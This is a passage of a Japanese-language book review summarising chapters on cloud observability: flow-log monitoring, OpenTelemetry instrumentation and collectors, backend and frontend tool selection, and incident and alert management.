FlowLogsからSSHやRDPアクセスをモニターすれば、不正アクセスの検知に活用できます。そのほか送受信トラフィックのパターン分析を行えば、DDoS攻撃の検知なども可能になります。VPCフローログは全てのIPトラフィックを記録するため、ネットワークの可視化に役立つと同時に、ログ量が膨大になる点にも注意が必要です。用途に応じて適切にフィルタリングする必要があります。ネットワーク関連ソースは大量のノイジーなデータが出力されるため、フィルタリングやラベル付けが重要になります。ALBの場合はデプロイ単位や環境単位でリクエストにラベルを付与することで、効率的なモニタリングが可能となります。また、Kubernetesなどのオーケストレーターを利用する場合は、Ingressリソースなどの抽象化されたネットワーク構成から出力されるシグナルをモニターする必要があります。自身のコード関連の詳細オープンソースのOpenTelemetryは、ログ、メトリクス、トレースの各種信号をベンダーロックインなしに管理できる魅力的なスタンダードです。ただし既存のコードに計装を行うコストがあり、コストとベネフィットのトレードオフを考慮する必要があります。将来の再計装のコストを避けたいのであれば、OpenTelemetryを中心におき、自動計装を最大限活用するのがよいでしょう。一方でCI/CDパイプライン自体も重要な信号源となります。ここからデプロイ進捗や所要時間、テスト結果などのメトリクスが得られます。新しいビルドが発生する度にこれらのメトリクスを監視することで、パフォーマンスの変化やボトルネックを事前に検知できます。将来的にはDigmaやSprkl.devといった専用ツールを使った開発者向けオブザーバビリティも重要になってくるでしょう。特にIDE上でコード変更の影響を可視化したり、プロファイリングデータからボトルネックを特定する機能が期待されています。信号の収集対象として最後に挙げられているのがプロキシソースです。ここでは監視対象外だが監視が必要なコンポーネントに対し、プロキシサーバーを介することで情報収集を実現する方法が説明されています。Prometheusの場合はKafkaやIoTデバイスなど非対応コンポーネントからExporterを使ってメトリクスを収集できます。またPushgatewayではバッチジョブなど一過性のプロセスからもメトリクス収集が可能になります。この他にも、ミドルウェアのDockerネットワークドライバを使えばDockerコンテナからログやメトリクスを抽出できます。あるいはSysdigの機能を活用すれば、アプリケーションレベルからカーネル全体の実行状況を詳細に可視化できるでしょう。特にeBPFを利用したSysdigの監視機能は注目すべき点で、プロセス単位でのリソース消費を正確にトレースすることが可能になります。オブザーバビリティの実現には様々なアプローチが存在します。システムを包括的にオブザーバブルにするには、これらの多様な手段を組み合わせていく必要があります。プロキシソースの活用は強力ですが、各ソースで得られる情報が多すぎるとノイズになりかねません。一方で全くオブザーバブルでない領域が残れば、ブラインドスポットが生まれてしまいます。信号収集の目的とコストを見極め、的を絞って収集・活用を行う工夫が求められます。収集対象の信号は最小限に留め、メタデータの付与や集約を行うといった対策も重要になってくるでしょう。4 Agents and instrumentationObservabilityにおけるAgentsとinstrumentationの役割本章「Agents and instrumentation」は、Observabilityを実現するための重要な要素であるエージェントと計装について詳しく解説しています。著者は、従来のベンダー固有のエージェントやシグナル固有のエージェントと対比させながら、オープンソースの包括的なObservabilityフレームワークであるOpenTelemetryを紹介しています。全然、別件でLearning Opentelemetryの読書感想文を書いていたので合わせて読んでみてください。syu-m-5151.hatenablog.comOpenTelemetryは、仕様、SDK、プロトコル(OTLP)、エージェントから構成される一連のコンポーネントであり、ベンダーに依存せずにログ、メトリクス、トレース、将来的にはプロファイルを収集・処理・取り込むことができます。OpenTelemetryを使えば、シグナルの発生元(リソース属性)とテレメトリシグナル自体の両方について、豊富なメタデータを得ることができます。このメタデータには、各シグナルが生成されたサービス、ホスト、コンテナ、クラウドリソースなどの情報が含まれ、システムの動作を理解し、問題の根本原因を特定する上で非常に重要な役割を果たします。特に、大規模な分散システムでは、各コンポーネントが生成するログ、メトリクス、トレースを関連付けて分析することが不可欠です。OpenTelemetryは、これを可能にする強力なフレームワークであると言えます。OpenTelemetryが提供する豊富なメタデータと、統一された方法でデータを収集・処理する仕組みにより、複雑なシステムの動作を俯瞰的に把握することができます。意味論的規約の重要性また、著者は意味論的規約(semantic conventions)の重要性を指摘しています。OpenTelemetryでは、意味論的規約に基づいてテレメトリデータにメタデータを付与することで、バックエンドでの効果的な相関分析を可能にしています。例えば、トレースデータとログデータに共通の属性を付与しておくことで、特定のリクエストに関連するすべてのログを容易に検索・分析できます。こうした相関分析は、複雑な分散システムの動作を理解し、パフォーマンスの問題や障害の原因を特定する上で欠かせません。opentelemetry.io従来、テレメトリデータの相関分析は、各ベンダーやツールに固有の方法で行われてきました。しかし、OpenTelemetryの意味論的規約により、ベンダーに依存しない形で相関分析を行うことができるようになります。これは、マルチクラウド環境やマイクロサービスアーキテクチャを採用している組織にとって特に大きなメリットとなるでしょう。統一された方法でテレメトリデータを収集・処理できれば、システム全体の可視性が向上し、問題の迅速な特定と解決が可能になります。自動計装と手動計装の使い分け計装に関しては、**アプリケーションのコードを変更せずに自動的にテレメトリを生成する自動計装の重要性が強調されています。 speakerdeck.com**自動計装は、アプリケーションフレームワークやライブラリと連携して、HTTPリクエスト、データベースクエリ、外部サービス呼び出しなどの主要な操作を自動的にトレースします。これにより、開発者はアプリケーションのコードを変更することなく、システムの動作を可視化できます。Figure 4.5 Concept of OpenTelemetry collection (from upstream docs; https://opentelemetry.io/docs/reference/specification/logs/overview/) より引用自動計装は、Observabilityの第一歩として非常に重要な役割を果たします。特に、レガシーなアプリケーションや、コード変更が困難な場合には、自動計装が唯一の選択肢となることもあるでしょう。また、自動計装により得られるデータは、システムのベースラインを把握する上でも役立ちます。ただし、自動計装には限界もあります。アプリケーション固有のビジネスロジックに関連する情報は、自動計装では捕捉できないことが多いのです。そのため、より詳細な分析を行うには、OpenTelemetry SDKを使った手動計装が必要になります。手動計装では、開発者がアプリケーションのコードに直接計装を追加します。これにより、重要なビジネスメトリクスや、アプリケーション固有のイベントを収集することができます。例えば、電子商取引サイトであれば、注文処理の各ステップにおける所要時間や、注文金額などのメトリクスを収集することが考えられます。自動計装と手動計装は、相互に補完する関係にあります。自動計装でシステムの全体像を把握した上で、手動計装でより詳細な情報を収集するのが理想的です。両者を適切に組み合わせることで、システムの可視性を最大限に高めることができるでしょう。OpenTelemetry collectorの役割と設定OpenTelemetry collectorは、エージェントとしての中核的な役割を担っており、あらゆるソースからのテレメトリデータを収集し、フィルタリング、サンプリング、属性の追加などの処理を行った上で、様々なバックエンドシステムに転送します。これにより、OpenTelemetry collectorは、Observabilityデータのハブとして機能し、データの流れを集中管理することができます。OpenTelemetry collectorの設定は、YAMLを使って行います。設定ファイルでは、受信したテレメトリデータをどのように処理し、どの宛先に転送するかを定義します。各シグナルタイプ(メトリクス、トレース、ログ)ごとにパイプラインを設定し、パイプラインの各段階でレシーバー、プロセッサー、エクスポーターを組み合わせて使用します。Figure 4.6 The OpenTelemetry collector and its components より引用この柔軟な設定により、OpenTelemetry collectorは様々な環境に適応できます。例えば、オンプレミスとクラウドが混在する環境では、オンプレミスの既存システムからのデータをOpenTelemetry collectorで収集し、クラウドのバックエンドに転送するといった使い方が可能です。また、複数のバックエンドを併用している場合も、OpenTelemetry collectorを中心とすることで、データの流れを一元管理できます。ただし、OpenTelemetry collectorの設定には注意が必要です。適切なレシーバー、プロセッサー、エクスポーターを選択し、それぞれの設定を最適化しなければなりません。特に、大規模な環境では、データ量が膨大になることがあるため、フィルタリングやサンプリングの設定が重要になります。また、セキュリティの観点から、データの暗号化や認証の設定も欠かせません。著者は、OpenTelemetry collectorの具体的な設定例も提示しています。この例では、サンプルアプリケーション「ho11y」からメトリクスとトレースを収集し、Prometheusをメトリクスのバックエンドに、Jaegerをトレースのバックエンドに使用しています。Figure 4.7 Example OpenTelemetry pipeline for traces and metrics より引用設定ファイルでは、Prometheusレシーバーを使ってPrometheusフォーマットのメトリクスを収集し、OTLPレシーバーを使ってOTLPフォーマットのトレースを収集しています。収集したデータはバッチ処理された後、Prometheusエクスポーターを通じてPrometheusに、Jaegerエクスポーターを通じてJaegerに送信されます。このような設定例を参考にしつつ、自身の環境に合わせてOpenTelemetry collectorの設定を最適化していくことが求められます。設定ファイルのバージョン管理を行い、変更履歴を追跡できるようにしておくことも重要でしょう。また、設定の変更が及ぼす影響を事前にテストし、問題がないことを確認してから本番環境に適用するなど、慎重な運用が必要です。OpenTelemetryの柔軟性と拡張性OpenTelemetryの技術的な側面に目を向けると、その柔軟性と拡張性が際立っています。OpenTelemetryは、ネイティブなOTLPをサポートするだけでなく、Prometheus、Jaeger、Zipkin、Fluentdなど、既存の様々なフォーマットやプロトコルに対応するレシーバーとエクスポーターを提供しています。これにより、既存のシステムからOpenTelemetryへの移行を段階的に進められるほか、複数のバックエンドシステムを並行して利用することもできます。この柔軟性は、OpenTelemetryの大きな強みの一つです。従来のモニタリングツールやObservabilityプラットフォームは、独自のデータフォーマットやプロトコルを使用していることが多く、他のシステムとの連携が困難でした。しかし、OpenTelemetryなら、そうした既存のシステムともスムーズにデータをやり取りできます。これにより、ベンダーロックインを回避しつつ、既存の資産を活かしながら、Observabilityの向上を図ることができるのです。また、OpenTelemetryは、コミュニティ主導で活発に開発が進められているオープンソースプロジェクトです。ユーザーは、OpenTelemetryの機能拡張に自ら貢献することもできます。例えば、新しいレシーバーやエクスポーターを開発し、OpenTelemetryのエコシステムに追加することが可能です。こうしたコミュニティの力によって、OpenTelemetryは今後もさらに発展していくことが期待されます。パフォーマンスとリソース効率パフォーマンスの観点では、OpenTelemetry collectorのスループットとリソース使用量に注意を払う必要があります。大規模な環境では、多数のエージェントが生成する膨大なテレメトリデータを効率的に処理しなければなりません。そのため、collectorのパフォーマンスチューニングが重要になります。例えば、バッチ処理の設定を最適化することで、データ処理のスループットを向上させることができます。一方で、バッチサイズを大きくしすぎると、メモリ使用量が増大するため、適切なバランスを見出す必要があります。また、サンプリングを適用してデータ量を削減することも、パフォーマンス改善に効果的です。ただし、サンプリングによって情報が欠落するリスクがあるため、慎重な設定が求められます。リソース使用量の観点では、メモリ使用量の制御が特に重要です。OpenTelemetry collectorは、受信したデータをメモリ上に保持するため、データ量が増大するとメモリ使用量も増加します。これを放置すると、メモリ不足によってcollectorのパフォーマンスが低下したり、最悪の場合にはOOM (Out of Memory) キルによってプロセスが強制終了したりする可能性があります。こうしたリスクを回避するため、OpenTelemetry collectorにはメモリリミッタープロセッサが用意されています。メモリリミッタープロセッサを使用すると、メモリ使用量が一定のしきい値を超えた場合に、データの受信を一時的に制限したり、古いデータを削除したりすることができます。ただし、データの欠落が許容できないケースでは、十分なメモリリソースを確保する必要があります。また、OpenTelemetry collectorのパフォーマンスは、ホスト環境の影響も受けます。特に、コンテナ環境では、リソース制限の設定によってパフォーマンスが大きく左右されます。適切なCPUとメモリのリソース制限を設定し、必要に応じて縮退運転できるようにしておくことが重要です。パフォーマンスとリソース効率の最適化には、継続的なモニタリングが欠かせません。OpenTelemetry collectorの主要なメトリクス(CPU使用率、メモリ使用量、データ処理のレイテンシなど)を常に監視し、ボトルネックを特定して改善策を講じる必要があります。また、負荷テストを実施して、実際のピーク時の負荷に耐えられるかを確認しておくことも重要です。Observabilityの新しい標準としてのOpenTelemetry本章では、Observabilityの実現に向けて、エージェントと計装が果たす重要な役割が詳細に説明されました。特に、OpenTelemetryは、ベンダーロックインを回避しつつ、多様なテレメトリデータを統一的に扱うことができる画期的なフレームワークです。OpenTelemetryが提供する豊富なメタデータと意味論的規約は、システムの動作を深く理解し、問題の迅速な特定と解決に役立ちます。従来のモニタリングツールやObservabilityプラットフォームは、ベンダー固有のデータフォーマットやAPIを使用していたため、相互運用性に乏しく、複数のツールを併用するのが難しいという問題がありました。しかし、OpenTelemetryは、このような問題を解決し、Observabilityの新しい標準となる可能性を秘めています。OpenTelemetryが広く普及することで、異なるベンダーのツールやサービス間でシームレスにテレメトリデータをやり取りできるようになります。これにより、エンドツーエンドの可視化、ベンダーロックインの回避、既存システムとの統合が容易になるでしょう。また、OpenTelemetryのオープンなエコシステムは、イノベーションを促進し、Observabilityのベストプラクティスの共有を加速させるはずです。自動化と最適化の必要性自動計装と手動計装を適切に組み合わせることで、アプリケーションコードへの変更を最小限に抑えつつ、システムの可視性を高めることができます。自動計装は、Observabilityの基盤を素早く構築するのに役立ちます。一方、手動計装は、ビジネスに特化した重要なメトリクスを収集するのに欠かせません。ただし、計装を実施するだけでは不十分です。収集したテレメトリデータを効果的に活用するには、データのクリーンアップ、集計、相関分析など、一連のデータ処理が必要となります。OpenTelemetry collectorは、こうしたデータ処理を自動化し、最適化する上で重要な役割を果たします。特に、大規模で複雑なシステムでは、膨大なテレメトリデータが生成されるため、データの適切なフィルタリングとサンプリングが不可欠です。OpenTelemetry collectorの柔軟な設定により、環境に合わせたデータ処理を実現できます。また、セキュリティ、パフォーマンス、リソース効率など、運用上の要件を満たすように設定を最適化することも重要です。Observabilityの継続的な改善Observabilityは、一朝一夕で実現できるものではありません。システムの変化に合わせて、Observabilityの仕組みも継続的に改善していく必要があります。OpenTelemetryは、この継続的な改善を支援する強力なプラットフォームです。OpenTelemetryを活用することで、システムの変更に素早く適応できます。新しいサービスやコンポーネントを追加する際に、計装を自動的に適用できます。また、OpenTelemetryの柔軟なアーキテクチャにより、バックエンドのツールやサービスを段階的に入れ替えることも可能です。ただし、OpenTelemetryを効果的に活用するには、組織全体でのコラボレーションが欠かせません。開発者、運用チーム、セキュリティチーム、ビジネス関係者など、様々なステークホルダーが連携し、Observabilityの目標と戦略を共有する必要があります。また、Observabilityのベストプラクティスを継続的に学習し、実践していくことも重要です。5 Backend destinationsバックエンドの選択がObservabilityの成功を左右する本章「Backend destinations」では、Observabilityデータの保存と分析を担うバックエンドの重要性について詳しく解説されています。著者は、適切なバックエンドの選択が、Observabilityの取り組みの成功を大きく左右すると強調しています。opentelemetry.ioバックエンドは、収集されたログ、メトリクス、トレースなどのテレメトリデータを保存し、それらのデータに対するクエリやアラートの実行、ダッシュボードの作成などを可能にする中核的なコンポーネントです。バックエンドの機能性、パフォーマンス、スケーラビリティ、信頼性は、Observabilityシステム全体の有効性に直結します。したがって、自社のニーズや要件に合ったバックエンドを選択することが極めて重要です。著者は、バックエンドの選定において考慮すべき主要な基準として、コスト、オープンスタンダードのサポート、バックプレッシャーへの対応、カーディナリティとクエリのパフォーマンスなどを挙げています。コストの観点では、データの取り込み、保存、クエリに関連する直接的なコストに加えて、エンジニアリングチームのサポート、トレーニング、セキュリティパッチ適用などの間接的なコストも考慮する必要があります。オープンスタンダードのサポートは、ベンダーロックインを回避し、相互運用性を確保するために重要です。OpenTelemetryやOpenMetricsなどの業界標準への対応は、バックエンドの選定において重要な基準となります。バックプレッシャーへの対応は、大量のテレメトリデータを生成するソースからのデータ取り込みを安定的に行うために不可欠です。バックエンドとソース間にキューイングメカニズムを導入することで、バックプレッシャーに起因するデータ欠損や性能低下を防ぐことができます。カーディナリティとクエリのパフォーマンスは、特にメトリクスデータを扱う際の重要な考慮事項です。次元の値が大きく変動するメトリクスは、時系列データベース(TSDB)におけるカーディナリティの爆発を引き起こす可能性があります。カラムナーストレージを採用したClickHouseやDruidなどのデータストアは、高カーディナリティのメトリクスにも対応できます。シグナルタイプごとのバックエンドオプション本章では、ログ、メトリクス、トレースのそれぞれのシグナルタイプに適したバックエンドオプションについて、クラウドプロバイダー、オープンソース、商用の観点から詳しく解説されています。ログのバックエンドでは、Amazon CloudWatch Logs、Azure Monitor Logs、Google Cloud Loggingなどのクラウドプロバイダーのサービスや、Elasticsearch、OpenSearch、Grafana Lokiなどのオープンソースソリューション、Splunk、Instana、Logz.ioなどの商用製品が紹介されています。これらのログバックエンドは、インデックス付きの全文検索、構造化クエリ、アラート、ダッシュボードなどの機能を提供します。ログデータのボリュームが大きい場合や、長期的な保存が必要な場合は、コストとパフォーマンスのバランスを考慮してバックエンドを選択する必要があります。クラウドプロバイダーのサービスは、マネージドな環境で手間のかからない運用が可能ですが、コストが高くなる傾向があります。一方、オープンソースソリューションは、自前での運用が必要ですが、コストを抑えることができます。Figure 5.2 Time series database concept, showing N time series of the mysvc_http_request_total metric より引用メトリクスのバックエンドとしては、時系列データベース(TSDB)が主流です。PrometheusやInfluxDBなどのオープンソースのTSDBに加え、各クラウドプロバイダーのマネージドPrometheusサービスや、M3DB、VictoriaMetricsなどのスケーラブルなソリューションが注目されています。TSDBは、メトリクスデータの効率的な格納と、時間範囲やラベルに基づくクエリを可能にします。PrometheusはKubernetesエコシステムにおける事実上の標準となっており、多くのツールやサービスとの統合が進んでいます。一方、M3DBやVictoriaMetricsは、Prometheusとの互換性を保ちつつ、よりスケーラブルなアーキテクチャを提供します。トレースのバックエンドは、JaegerやZipkinなどのオープンソースプロジェクトが広く採用されている一方で、クラウドプロバイダーやObservabilityベンダーの商用ソリューションも充実しています。ElasticsearchやOpenSearchもトレースのバックエンドとして使用できます。トレースデータは、分散システムにおけるリクエストの流れを可視化し、パフォーマンスのボトルネックや異常を特定するために使用されます。Jaegerは、OpenTelemetryとの緊密な統合により、幅広いプログラミング言語やフレームワークをサポートしています。商用ソリューションは、AIを活用した自動的な異常検知やパフォーマンス最適化の提案など、高度な分析機能を提供します。cloud.google.comカーディナリティの課題とカラムナーデータストア本章では、メトリクスのバックエンドを選択する際の重要な考慮事項として、カーディナリティの問題が取り上げられています。カーディナリティとは、メトリクスの各次元が取り得る値の数を指します。ユーザーIDやセッションIDのように、値が大きく変動する次元を持つメトリクスを扱う場合、TSDBではカーディナリティの爆発が発生し、データの取り込み、保存、クエリのパフォーマンスに深刻な影響を与える可能性があります。この課題に対処するために、著者はカラムナーストレージを採用したデータストアの活用を提案しています。カラムナーストレージは、データを列単位で格納することで、高いデータ圧縮率と優れたクエリパフォーマンスを実現します。Apache Cassandra、Apache Druid、ClickHouse、Snowflakeなどが代表的なカラムナーデータストアとして紹介されています。Figure 5.5 Row-oriented vs. column-oriented storage より引用特に、ClickHouseを使ったログのバックエンドの例では、OpenTelemetry CollectorとClickHouseを組み合わせることで、ログデータをカラムナーフォーマットで効率的に保存し、SQLを使って柔軟にクエリできることが示されています。github.comカラムナーストレージは、高カーディナリティのメトリクスだけでなく、ログやトレースデータの保存と分析にも適しています。ログデータは、多様な構造を持つイベントの集合体であり、カラムナー形式での保存により、クエリのパフォーマンスを大幅に向上させることができます。トレースデータも、スパンのフィールドを列として保存することで、効率的なクエリが可能になります。カラムナーデータストアは、Observabilityデータの長期的な保存と分析において重要な役割を果たします。データレイクとしてのカラムナーストレージに、ログ、メトリクス、トレースを統合することで、包括的な分析と相関関係の発見が可能になります。また、カラムナー形式のデータは、機械学習やデータマイニングのワークロードにも適しており、異常検知やパターン認識などの高度な分析にも活用できます。ポリグロットバックエンドアーキテクチャObservabilityデータの種類や特性に応じて、複数のバックエンドを組み合わせて使用するポリグロットなアプローチも有効です。例えば、ログデータにはElasticsearch、メトリクスデータにはPrometheus、トレースデータにはJaegerを使用するといった構成が考えられます。ポリグロットバックエンドアーキテクチャは、各シグナルタイプに最適化されたバックエンドを選択することで、パフォーマンスとコスト効率を最大化できます。一方で、異なるバックエンド間でのデータの相関分析や一貫性の確保が課題となります。この課題に対処するために、OpenTelemetryなどの共通の収集および転送層を導入することが推奨されます。OpenTelemetryは、ログ、メトリクス、トレースを統一的に扱うことができ、バックエンドの違いを吸収します。また、Grafanaなどの可視化ツールは、複数のバックエンドからデータを取得し、統合されたダッシュボードを提供することができます。ポリグロットバックエンドアーキテクチャの採用には、運用の複雑さと管理コストの増加というトレードオフがあります。バックエンドごとにデータの保存期間やアクセス制御を適切に設定し、モニタリングとアラート設定を行う必要があります。また、バックエンド間のデータ同期や整合性の問題にも注意が必要です。制約と誓約本章で提示された知見を踏まえると、Observabilityにおけるバックエンドの選定は、システムアーキテクチャとデータ管理の両面から慎重に検討すべき重要な意思決定であると言えます。適切なバックエンドの選択は、Observabilityの取り組みの成功を大きく左右します。組織は、自社のユースケースに合ったバックエンドを選択する必要があります。コスト、パフォーマンス、スケーラビリティ、相互運用性など、さまざまな要素を総合的に評価し、長期的な視点に立ってバックエンドの選定を行うべきです。また、バックエンドの特性や制約を深く理解し、データモデルに適したアーキテクチャを採用することが重要です。メトリクスのカーディナリティ問題に代表されるように、バックエンドの選択はデータの特性に大きく依存します。高カーディナリティのメトリクスを扱う場合は、カラムナーストレージの採用を検討すべきです。また、ログやトレースデータの長期的な保存と分析においても、カラムナーデータストアが有力な選択肢となります。ポリグロットバックエンドアーキテクチャは、各シグナルタイプに最適化されたバックエンドを組み合わせることで、パフォーマンスとコスト効率を最大化できる可能性を秘めています。ただし、運用の複雑さと管理コストの増加には十分な注意が必要です。OpenTelemetryなどの共通の収集および転送層を導入し、可視化ツールを活用することで、バックエンド間のデータ統合と相関分析を実現できます。6 Frontend destinationsフロントエンドとオールインワンソリューションの役割本章「Frontend destinations」では、Observabilityデータの可視化と分析を担うフロントエンドとオールインワンソリューションについて詳しく解説されています。フロントエンドは、バックエンドに保存されたObservabilityデータと対話し、ユーザーが様々なグラフィカルおよびテキスト形式でアドホックな質問に答えを見つけるために使用します。一方、オールインワンソリューションは、バックエンドとフロントエンドを一体化したものであり、ベンダーが設計したバックエンドとの組み合わせでのみ使用できます。著者は、フロントエンドとオールインワンソリューションの選択が、Observabilityの取り組みの成功に大きな影響を与えることを強調しています。適切なツールを選択することで、開発者やビジネスステークホルダーに価値を提供し、機能の出荷やバグ修正の加速、本番環境での問題解決時間の短縮、開発者の生産性向上などを実現できます。オープンソースとコマーシャルオファリングの比較本章では、Grafana、Kibana、OpenSearch Dashboardsなどの人気のあるオープンソースフロントエンドや、Jaeger、Zipkin、Apache SkyWalkingなどのオールインワンソリューションについて詳細に説明されています。これらのオープンソースツールは、幅広いバックエンドとの統合、豊富な視覚化オプション、アラート機能などを提供しており、自社のObservabilityソリューションを構築する際の強力な基盤となります。Figure 6.1 An example Grafana data source, showing configuration options より引用GrafanaはPrometheusと、KibanaはElasticsearchと、それぞれ緊密に連携しており、メトリクスとログの可視化において重要な役割を果たしています。一方、JaegerやZipkinは、OpenTelemetryとの統合により、幅広いプログラミング言語やフレームワークをサポートする分散トレーシングソリューションとして広く採用されています。Figure 6.6 Jaeger UI showing all traces for a certain tag (http.status_code=404) より引用また、SigNozやUptraceなど、ClickHouseをバックエンドに使用するオープンソースのオールインワンソリューションも登場しています。これらのツールは、OpenTelemetryを活用してテレメトリデータを収集し、SQLを使ってデータを柔軟にクエリできる点が特徴です。一方、商用ソリューションは、高度な分析機能、AIを活用した異常検知、パフォーマンス最適化の提案など、より豊富な機能を提供します。DatadogやNew Relicなどの有名ベンダーは、自動計装に基づくアウトオブザボックスの機能や、幅広いインテグレーションを備えています。また、Lightstepのようなunified storage layerを持つソリューションは、異なるシグナルタイプを統合的に扱うことができます。ツール選定の考慮事項フロントエンドとオールインワンソリューションの選定においては、以下の点を考慮する必要があります。コスト: フロントエンドのコストは予測可能ですが、オールインワンソリューションではバックエンドのコストも考慮する必要があります。オープンソースを選択する場合は、サポート、パッチ適用、スケーリングなどの運用コストを見積もることが重要です。ベンダーロックインの回避: オープンスタンダード(OpenTelemetryなど)をサポートするオールインワンソリューションは、ベンダーロックインを最小限に抑えつつ、運用負荷を軽減できる優れた選択肢です。オープンソースプロジェクトの健全性: オープンソースツールを選ぶ際は、プロジェクトの背景、ライセンス、コントリビューターの多様性、ドキュメントの品質、Issue対応の速度などを評価することが不可欠です。相関分析のサポート: 複数のシグナルタイプをサポートするツールにおいては、時間ベースの相関分析や、あるシグナルタイプから別のシグナルタイプへのスムーズな移動を可能にする機能が重要です。シングルパネルオブグラスとデータ相関の重要性著者は、Observabilityにおける「シングルパネルオブグラス」の概念について言及しています。これは、ログ、メトリクス、トレースなどの異なるシグナルタイプを単一のインターフェースで統合的に扱うことを指します。シングルパネルオブグラスを実現することで、システムの動作を包括的に把握し、問題の迅速な特定と解決が可能になります。ただし、著者は、シングルパネルオブグラスを絶対的な要件とするのではなく、柔軟なアプローチを取ることを推奨しています。つまり、主要なフロントエンドツールを中心に据えつつ、必要に応じて専門的なツールを組み合わせるのが現実的だと述べています。シングルパネルオブグラスに関連して、データの相関分析が重要な役割を果たします。異なるシグナルタイプ間の関連性を明らかにすることで、複雑なシステムの動作を理解し、パフォーマンスの問題や障害の根本原因を特定できます。著者は、Grafana version 10で導入された相関APIを例に挙げ、変数と変換を使用した相関分析の実現方法を紹介しています。フロントエンドとオールインワンの選択プロセスフロントエンドとオールインワンソリューションの選択において、最初に検討すべきは、「構築か、購入か」の意思決定です。社内でObservabilityプラットフォームを構築することが競争上の優位性につながるのでない限り、できる限りアウトソーシングすることが推奨されます。一方、ベンダーやクラウドプロバイダーへの依存を最小限に抑えたい企業では、オープンソースとオープンスタンダードに基づいたソリューションを構築するのが賢明です。選定プロセスでは、以下の点を評価します。総コストの見積もり(ライセンス料、インフラコスト、運用コストなど)ベンダーロックインのリスクオープンソースプロジェクトの成熟度と持続可能性相関分析を含む主要機能のサポート状況加えて、全てのステークホルダーを巻き込み、要件を明確にすることが肝要です。技術的な側面だけでなく、ビジネス要件や ユーザビリティなども考慮して、最適なソリューションを選択しましょう。Observabilityツールの継続的な評価と改善Observabilityの分野は急速に発展しており、新しいツールやソリューションが次々と登場しています。選択したフロントエンドやオールインワンソリューションが、将来にわたって組織のニーズを満たし続けられるとは限りません。したがって、定期的にツールを評価し、必要に応じて見直しや改善を行うことが重要です。評価の際は、以下の点を考慮します。新しい機能やインテグレーションの追加パフォーマンスとスケーラビリティの向上コミュニティの活発さとサポートの継続性ライセンスやコストモデルの変更また、Observabilityツールの運用においては、以下のような継続的な改善活動が求められます。ダッシュボードやアラートの最適化データ保持期間とコストのバランス調整新しいシグナルソースやデータ型の取り込みユーザートレーニングとドキュメントの整備Observabilityは、単なるツールの導入で完結するものではありません。組織全体でObservabilityの文化を醸成し、継続的な改善を通じて、システムの可視性と運用効率を高めていく必要があります。Observabilityの価値実現に向けて本章では、Observabilityにおけるフロントエンドとオールインワンソリューションの重要性、それらのツールの選定と運用における考慮事項について詳しく解説されました。Observabilityの真の目的は、システムの動作を深く理解し、問題の迅速な特定と解決を可能にすることで、ビジネス価値の実現を支えることにあります。適切なツールを選択し、継続的な改善を積み重ねることで、Observabilityの取り組みを成功に導くことができます。オープンソースとオープンスタンダードを活用しつつ、組織のコンテキストに合ったソリューションを構築することが肝要です。また、ログ、メトリクス、トレースなど、異なるシグナルタイプを相関分析できる機能を備えることで、システムの全体像を俯瞰し、問題の根本原因を特定しやすくなります。フロントエンドとオールインワンソリューションは、Observabilityデータの可視化と分析を通じて、ソフトウェアエンジニアリングとシステム運用に大きな価値をもたらします。本章で得られた知見を活かし、自組織に適したツール戦略を練り上げていきましょう。Observabilityの文化を育み、データドリブンな意思決定を促進することで、ビジネスの俊敏性と回復力を高めることができるはずです。7 Cloud operationsインシデント管理のベストプラクティス本章「Cloud operations」では、クラウドネイティブアプリケーションを円滑に運用するための重要な要素であるインシデント管理、ヘルスモニタリング、アラート、ガバナンス、使用状況の追跡について詳しく解説されています。特に、インシデント管理に関しては、インシデントの検出、処理、そしてインシデントから学ぶことの重要性が強調されています。クラウドネイティブシステムは多数のコンポーネントで構成されており、これらのコンポーネントは相互に依存しています。そのため、ひとつのコンポーネントで問題が発生すると、その影響が全体に波及する可能性があります。こうした複雑なシステムにおいて、エンドユーザーに影響を与える問題が発生した場合、どのコンポーネントが根本原因なのかを特定することは容易ではありません。したがって、システムの外部から継続的にヘルスモニタリングとパフォーマンスモニタリングを行い、期待通りに機能していないことを素早く検知することが不可欠です。モニタリングシステムは、各コンポーネントの主要なメトリクスを収集し、異常値や閾値超過を検出できるように設定する必要があります。これにより、インシデントの兆候をいち早く捉え、影響が拡大する前に対処できます。著者が強調しているのは、インシデントが発生した際には、原因分析よりも問題の解決を優先すべきだということです。つまり、エンドユーザーへの影響を最小限に抑えることが最優先事項であり、そのためには問題の切り分けと適切な対処を迅速に行う必要があります。具体的には、関連するログやメトリクスを確認してシステムの状態を把握し、影響範囲を特定した上で、適切な措置を講じる必要があります。また、ステークホルダーに対しても、状況と対応方針を適宜共有することが重要です。インシデントが収束した後は、再発防止に向けた原因分析が必要です。著者は、非難を伴わないポストモーテム(事後分析)を行うべきだと述べています。ポストモーテムでは、「5 Whys」などの手法を用いて根本原因を掘り下げ、具体的な再発防止策を特定することが重要です。さらに、インシデントの経緯と学びを文書化し、組織内で共有することで、将来のインシデント対応に活かすことができます。インシデント管理のベストプラクティスを確立するためには、以下のような点に留意する必要があります。インシデントの検知と通知の自動化: モニタリングシステムと連動したアラート設定により、インシデントの兆候を早期に検知し、適切な担当者に自動的に通知する。インシデントの優先度付けとエスカレーション: インシデントの影響度に応じて優先度を設定し、適切なタイミングでエスカレーションを行う。コミュニケーションの明確化: インシデント対応の際の連絡体制とコミュニケーションチャネルを予め定義しておく。ランブックとプレイブックの整備: よくあるインシデントへの対処手順をランブック(運用手順書)やプレイブック(対応シナリオ)としてまとめ、迅速かつ的確な対応を可能にする。ポストモーテムの徹底: インシデントの原因究明と再発防止策の特定を徹底的に行い、組織としての学びを促進する。これらのプラクティスを確実に実行できるよう、定期的にインシデント対応の訓練を行うことも重要です。様々なシナリオを想定した机上訓練や、実際にシステムの一部に障害を発生させるカオスエンジニアリングなどを通じて、チームのインシデント対応力を高めていくことができます。アラート設計のポイントと継続的な最適化アラートは、システムの異常を検知し、適切な担当者に通知するための重要な仕組みです。しかし、アラートの設定が不適切だと、大量の無駄なアラートが発生して対応が追いつかなくなったり、逆に重大な問題を見逃してしまったりする恐れがあります。したがって、アラートの設計には細心の注意を払う必要があります。著者は、アラートの設計において、以下のような点が重要だと指摘しています。重要度の設定: インシデントの影響度に応じて、アラートの重要度(critical, warning, infoなど)を適切に設定する。閾値の調整: アラートの閾値を適切に設定し、誤検知や見逃しを最小限に抑える。アラートのグループ化と抑制: 関連するアラートをグループ化し、不要なアラートを抑制することで、アラートのノイズを減らす。エスカレーションパスの明確化: 